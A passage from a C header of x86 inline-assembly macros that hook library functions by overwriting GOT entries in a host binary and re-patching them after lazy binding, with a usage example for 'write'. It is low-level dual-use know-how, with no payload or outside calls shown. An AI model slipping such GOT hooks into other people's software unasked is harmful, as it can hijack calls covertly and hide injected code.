| 195 | " pushl %%esi\n" \ | ||
| 196 | " movl 0x14(%%ebp), %%esi\n" /* source array */ \ | ||
| 197 | " leal 12(%%edx), %%edx\n" \ | ||
| 198 | "l2_%=: lodsl\n" \ | ||
| 199 | " movl %%eax, (%%edx)\n" \ | ||
| 200 | " addl $0x4, %%edx\n" \ | ||
| 201 | " decl %%ecx\n" \ | ||
| 202 | " jnz l2_%=\n" \ | ||
| 203 | " popl %%esi\n" \ | ||
| 204 | "\n" \ | ||
| 205 | " popl %%eax\n" \ | ||
| 206 | " movl %%ebp, %%esp\n" \ | ||
| 207 | " popl %%ebp\n" \ | ||
| 208 | " addl $0x14, %%esp\n" \ | ||
| 209 | " ret\n" \ | ||
| 210 | "\n" \ | ||
| 211 | "lo_%=: popl %%eax\n" \ | ||
| 212 | : "=d" (chainstr) : : "eax"); \ | ||
| 213 | } | ||
| 214 | |||
| 215 | /* convenience macros, use if you want and don't care about the messy details | ||
| 216 | * use CHAINSTART directly after local variables of the hook-function, | ||
| 217 | * CHAINCALL directly before calling the original function, and CHAINEND after | ||
| 218 | * the chain function has been called: | ||
| 219 | * | ||
| 220 | * int | ||
| 221 | * my_write (int fd, char *buf, int len) | ||
| 222 | * { | ||
| 223 | * int rval; | ||
| 224 | * int (* old_write)(int, char *, int); | ||
| 225 | * | ||
| 226 | * CHAINSTART (old_write); | ||
| 227 | * CHAINCALL; | ||
| 228 | * rval = old_write (fd, buf, len); | ||
| 229 | * CHAINEND; | ||
| 230 | * | ||
| 231 | * return (rval); | ||
| 232 | * } | ||
| 233 | * | ||
| 234 | * would be the most basic chain-through function for the 'write' function. | ||
| 235 | * | ||
| 236 | * XXX: it is utmost important to put the CHAINSTART macro directly after the | ||
| 237 | * local variables, before any code. | ||
| 238 | * | ||
| 239 | * CHAINCALL is used to prepare the %ebx register to point to the shared GOT | ||
| 240 | * table. technically, it is only needed when redirecting shared library GOT | ||
| 241 | * table entries, but it does not hurt to include it in any case. | ||
| 242 | * | ||
| 243 | * CHAINEND checks whether the GOT entry was overwritten by the runtime | ||
| 244 | * linker, as it happens when lazy binding is used and the function is called | ||
| 245 | * the first time. we update our address (cstr->chain) and overwrite the GOT | ||
| 246 | * entry again with our function. this has to be done, since we usually | ||
| 247 | * receive control, before any library function has been called. you can leave | ||
| 248 | * the CHAINEND macro out, if you want to receive control only once, on the | ||
| 249 | * first call (say, when the host is calling exit or fork). though it is not | ||
| 250 | * guaranted that it will be only called once. | ||
| 251 | */ | ||
| 252 | #define CHAINSTART(chainfn) \ | ||
| 253 | CHAINSTART_M(chainfn,1,"1"); | ||
| 254 | |||
| 255 | #define CHAINEND \ | ||
| 256 | CHAINEND_M; | ||
| 257 | |||
| 258 | #define CHAINSTART_M(chainfn,arraylen,arraylenstr) \ | ||
| 259 | CHAINSTRUCT(arraylen) \ | ||
| 260 | unsigned int * cthis[arraylen]; \ | ||
| 261 | unsigned int creg_ebx; \ | ||
| 262 | unsigned int cgot_wk; \ | ||
| 263 | \ | ||
| 264 | __asm__ __volatile__ ("" : "=b" (creg_ebx)); \ | ||
| 265 | PTRCONTROL (cstr,arraylenstr); \ | ||
| 266 | chainfn = (void *) cstr->chain; \ | ||
| 267 | for (cgot_wk = 0 ; cgot_wk < cstr->gotcount && \ | ||
| 268 | cstr->gotloc[cgot_wk] != NULL ; ++cgot_wk) \ | ||
| 269 | { \ | ||
| 270 | cthis[cgot_wk] = (unsigned int *) *cstr->gotloc[cgot_wk]; \ | ||
| 271 | } | ||
| 272 | |||
| 273 | #define CHAINCALL \ | ||
| 274 | __asm__ __volatile__ ("" : : "b" (creg_ebx)); | ||
| 275 | |||
| 276 | #define CHAINEND_M \ | ||
| 277 | for (cgot_wk = 0 ; cgot_wk < cstr->gotcount && \ | ||
| 278 | cstr->gotloc[cgot_wk] != NULL ; ++cgot_wk) \ | ||
| 279 | { \ | ||
| 280 | if (cthis[cgot_wk] != (unsigned int *) *cstr->gotloc[cgot_wk]) { \ | ||
| 281 | cstr->chain = (void *) *cstr->gotloc[cgot_wk]; \ | ||
| 282 | *cstr->gotloc[cgot_wk] = (unsigned int) cthis[cgot_wk]; \ | ||
| 283 | } \ | ||
| 284 | } | ||
| 285 | |||
| 286 | |||
| 287 | /* old macros, still work, but its better to just have to maintain one version | ||
| 288 | */ | ||
| 289 | #if 0 | ||
| 290 | #define CHAINSTART(chainfn) \ | ||
| 291 | CHAINSTRUCT(1) \ | ||
| 292 | unsigned int * cthis; \ | ||
| 293 | unsigned int creg_ebx; \ | ||
| 294 | \ | ||
| 295 | __asm__ __volatile__ ("" : "=b" (creg_ebx)); \ | ||
| 296 | PTRCONTROL (cstr); \ | ||
| 297 | chainfn = cstr->chain; \ | ||
| 298 | cthis = (unsigned int *) *cstr->gotloc[0]; | ||
| 299 | |||
| 300 | #define CHAINEND \ | ||
| 301 | if (((unsigned int) cthis) != *cstr->gotloc[0]) { \ | ||
| 302 | cstr->chain = (void *) *cstr->gotloc[0]; \ | ||
| 303 | *cstr->gotloc[0] = (unsigned int) cthis; \ | ||
| 304 | } | ||
| 305 | #endif | ||
| 306 | |||
